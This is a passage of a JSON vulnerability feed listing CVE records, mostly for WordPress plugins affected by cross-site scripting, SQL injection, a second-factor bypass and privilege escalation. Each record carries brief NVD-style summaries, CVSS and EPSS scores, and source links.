3.15.5.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kevin Stover Ninja Forms ninja-forms allows Stored XSS.This issue affects Ninja Forms: from n/a through 3.15.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T08:16:42.670Z","updatedAt":"2026-10-21T14:26:26.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110899","asOf":"2026-10-21T14:26:26.470Z"},"epss":{"probability":0.00215,"percentile":0.11792,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110899&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110899","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110899","type":"primary","publishedAt":"2026-10-21T08:16:42.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110899&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110899, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107435","cveId":"CVE-2026-107435","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Chill Strong Testimonials strong-testimonials allows Stored XSS.This issue...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Chill Strong Testimonials strong-testimonials allows Stored XSS.This issue affects Strong Testimonials: from n/a through 3.3.12.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Chill Strong Testimonials strong-testimonials allows Stored XSS.This issue affects Strong Testimonials: from n/a through 3.3.12.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T08:16:41.613Z","updatedAt":"2026-10-21T14:26:26.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107435","asOf":"2026-10-21T14:26:26.470Z"},"epss":{"probability":0.0019,"percentile":0.0856,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107435&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107435","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107435","type":"primary","publishedAt":"2026-10-21T08:16:41.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107435&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107435, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92998","cveId":"CVE-2026-92998","aliases":[],"kind":"vulnerability","title":"The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not sanitise sort parameters before using them in a SQL ORDER BY clause, allowing unauthenticated...","summary":"The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not sanitise sort parameters before using them in a SQL ORDER BY clause, allowing unauthenticated attackers to perform SQL injection attacks.","detail":"The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not sanitise sort parameters before using them in a SQL ORDER BY clause, allowing unauthenticated attackers to perform SQL injection attacks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:50.823Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92998","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00359,"percentile":0.29348,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92998&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92998","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92998","type":"primary","publishedAt":"2026-10-21T06:16:50.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92998&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92998, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92997","cveId":"CVE-2026-92997","aliases":[],"kind":"vulnerability","title":"The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not properly validate a parameter before using it as a column identifier in a SQL query, allowing...","summary":"The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not properly validate a parameter before using it as a column identifier in a SQL query, allowing unauthenticated attackers to perform SQL injection attacks.","detail":"The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not properly validate a parameter before using it as a column identifier in a SQL query, allowing unauthenticated attackers to perform SQL injection attacks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:50.720Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92997","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00359,"percentile":0.29348,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92997&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92997","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92997","type":"primary","publishedAt":"2026-10-21T06:16:50.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92997&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92997, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88784","cveId":"CVE-2026-88784","aliases":[],"kind":"vulnerability","title":"The Translate WordPress with Weglot 2.0  WordPress plugin before 6.4.3 does not escape the URLs it re-inserts into a page when rewriting links for a translated language, and...","summary":"The Translate WordPress with Weglot 2.0  WordPress plugin before 6.4.3 does not escape the URLs it re-inserts into a page when rewriting links for a translated language, and reverses the encoding that was applied to them beforehand, allowing unauthenticated users to store a payload which executes in the browser of anyone viewing the page in a translated language.","detail":"The Translate WordPress with Weglot 2.0  WordPress plugin before 6.4.3 does not escape the URLs it re-inserts into a page when rewriting links for a translated language, and reverses the encoding that was applied to them beforehand, allowing unauthenticated users to store a payload which executes in the browser of anyone viewing the page in a translated language.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:50.617Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88784","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00282,"percentile":0.20487,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88784&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88784","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88784","type":"primary","publishedAt":"2026-10-21T06:16:50.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88784&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88784, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85642","cveId":"CVE-2026-85642","aliases":[],"kind":"vulnerability","title":"The Formidable Forms  WordPress plugin before 7.0 does not verify the identity of the caller before recording the timestamp it uses to rate limit payment gateway verification...","summary":"The Formidable Forms  WordPress plugin before 7.0 does not verify the identity of the caller before recording the timestamp it uses to rate limit payment gateway verification requests, allowing unauthenticated attackers to consume the daily allowance and cause legitimate verification attempts to be refused for the next 24 hours.","detail":"The Formidable Forms  WordPress plugin before 7.0 does not verify the identity of the caller before recording the timestamp it uses to rate limit payment gateway verification requests, allowing unauthenticated attackers to consume the daily allowance and cause legitimate verification attempts to be refused for the next 24 hours.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:50.190Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85642","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00392,"percentile":0.33074,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85642&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85642","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85642","type":"primary","publishedAt":"2026-10-21T06:16:50.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85642&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85642, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79627","cveId":"CVE-2026-79627","aliases":[],"kind":"vulnerability","title":"The Advanced File Manager  WordPress plugin before 6.0.0 does not correctly determine whether a stored file is an SVG before sanitising it, allowing users granted file-manager...","summary":"The Advanced File Manager  WordPress plugin before 6.0.0 does not correctly determine whether a stored file is an SVG before sanitising it, allowing users granted file-manager access by an administrator to store a file containing script that is not stripped and that runs in the browser of anyone who opens it, including an administrator.","detail":"The Advanced File Manager  WordPress plugin before 6.0.0 does not correctly determine whether a stored file is an SVG before sanitising it, allowing users granted file-manager access by an administrator to store a file containing script that is not stripped and that runs in the browser of anyone who opens it, including an administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:49.623Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79627","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00266,"percentile":0.18593,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79627&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79627","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79627","type":"primary","publishedAt":"2026-10-21T06:16:49.623Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79627&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79627, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111949","cveId":"CVE-2026-111949","aliases":[],"kind":"vulnerability","title":"The miniOrange 2FA  WordPress plugin before 6.3.1 does not prevent a pending passkey login from registering an additional passkey on an account that already has one configured,...","summary":"The miniOrange 2FA  WordPress plugin before 6.3.1 does not prevent a pending passkey login from registering an additional passkey on an account that already has one configured, allowing an attacker who knows a user's password to add their own authenticator and bypass the second factor.","detail":"The miniOrange 2FA  WordPress plugin before 6.3.1 does not prevent a pending passkey login from registering an additional passkey on an account that already has one configured, allowing an attacker who knows a user's password to add their own authenticator and bypass the second factor.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:48.543Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111949","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00282,"percentile":0.20533,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111949&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111949","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111949","type":"primary","publishedAt":"2026-10-21T06:16:48.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111949&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111949, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111948","cveId":"CVE-2026-111948","aliases":[],"kind":"vulnerability","title":"The User Profile Builder  WordPress plugin before 4.0.1 does not escape the current page URL before outputting it in a JavaScript context on one of its admin pages, leading to...","summary":"The User Profile Builder  WordPress plugin before 4.0.1 does not escape the current page URL before outputting it in a JavaScript context on one of its admin pages, leading to Reflected Cross-Site Scripting against high-privilege users.","detail":"The User Profile Builder  WordPress plugin before 4.0.1 does not escape the current page URL before outputting it in a JavaScript context on one of its admin pages, leading to Reflected Cross-Site Scripting against high-privilege users.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:48.450Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111948","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00202,"percentile":0.09996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111948&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111948","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111948","type":"primary","publishedAt":"2026-10-21T06:16:48.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111948&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111948, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111574","cveId":"CVE-2026-111574","aliases":[],"kind":"vulnerability","title":"The Redirection for Contact Form 7 WordPress plugin before 3.2.12 does not sanitise or escape submitted form data stored as lead entries before outputting it in the lead debug...","summary":"The Redirection for Contact Form 7 WordPress plugin before 3.2.12 does not sanitise or escape submitted form data stored as lead entries before outputting it in the lead debug metabox, allowing unauthenticated attackers to store a malicious script that executes when a logged-in user views the entry with the Redirection for Contact Form 7 WordPress plugin before 3.2.12's debug mode enabled.","detail":"The Redirection for Contact Form 7 WordPress plugin before 3.2.12 does not sanitise or escape submitted form data stored as lead entries before outputting it in the lead debug metabox, allowing unauthenticated attackers to store a malicious script that executes when a logged-in user views the entry with the Redirection for Contact Form 7 WordPress plugin before 3.2.12's debug mode enabled.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:48.137Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111574","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00308,"percentile":0.2334,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111574&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111574","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111574","type":"primary","publishedAt":"2026-10-21T06:16:48.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111574&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111574, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110523","cveId":"CVE-2026-110523","aliases":[],"kind":"vulnerability","title":"The WP User Manager  WordPress plugin before 2.9.26 does not keep its paid-registration capability restrictions in force once the payment gateway is disconnected, while a...","summary":"The WP User Manager  WordPress plugin before 2.9.26 does not keep its paid-registration capability restrictions in force once the payment gateway is disconnected, while a published paid registration form continues to assign its configured role, allowing unauthenticated users to register and immediately obtain a privileged administrator-equivalent role without completing the payment meant to gate it.","detail":"The WP User Manager  WordPress plugin before 2.9.26 does not keep its paid-registration capability restrictions in force once the payment gateway is disconnected, while a published paid registration form continues to assign its configured role, allowing unauthenticated users to register and immediately obtain a privileged administrator-equivalent role without completing the payment meant to gate it.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:47.830Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110523","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.0038,"percentile":0.31706,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110523&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110523","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110523","type":"primary","publishedAt":"2026-10-21T06:16:47.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110523&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110523, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109147","cveId":"CVE-2026-109147","aliases":[],"kind":"vulnerability","title":"The WP Booking System  WordPress plugin before 2.1.0.3 does not validate and escape one of its parameters before reflecting it back in an admin page, leading to Reflected...","summary":"The WP Booking System  WordPress plugin before 2.1.0.3 does not validate and escape one of its parameters before reflecting it back in an admin page, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as administrators.","detail":"The WP Booking System  WordPress plugin before 2.1.0.3 does not validate and escape one of its parameters before reflecting it back in an admin page, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as administrators.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:47.510Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109147","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00243,"percentile":0.15289,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109147&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109147","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109147","type":"primary","publishedAt":"2026-10-21T06:16:47.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 